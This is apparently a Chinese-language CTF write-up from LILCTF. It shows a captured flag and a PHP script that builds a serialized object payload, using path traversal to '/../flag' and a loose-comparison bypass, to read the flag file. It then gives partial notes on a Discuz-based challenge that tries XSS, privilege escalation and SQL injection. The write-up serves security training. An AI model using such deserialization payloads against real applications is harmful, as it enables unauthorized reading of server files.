flag为:LILCTF{6ONN@_flnD_y#Ur_4nSWer_T0_un53r}

img

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class User
{
public $username;
public $value;
}

class Access
{
protected $prefix;
protected $suffix;
public function __construct($prefix = '/', $suffix = '/../flag')
{
$this->prefix = $prefix;
$this->suffix = $suffix;
}
}

$user = new User();
$access = new Access();
$user->value = serialize($access);
$user->username = true; //弱比较

//以后传参一定只传url版本,不然可能会有问题,就比如这次。。。
echo serialize($user);
echo "\n";
echo urlencode(serialize($user));

?>

我曾有一份工作 | Stuck

出题:晨曦

难度:中等

一次备份,换来的是一张辞职信

flag 在 pre_a_flag 表里

本题允许使用扫描器

解题过程

登录之后有留言板,尝试一下xss:

https://zone.ci/aliyun/ali_nvd/39151.html

漏洞复现-DiscuzX 系列全版本后台SQL注入漏洞_ucenter漏洞-CSDN博客 推测是打越权然后,登录admin,最后sql注入。但是不会(

找回密码功能,试了试并不能直接找回。

想法:或许能通过普通用户找回密码时候越权呢?

img

搜索页面有报错:

img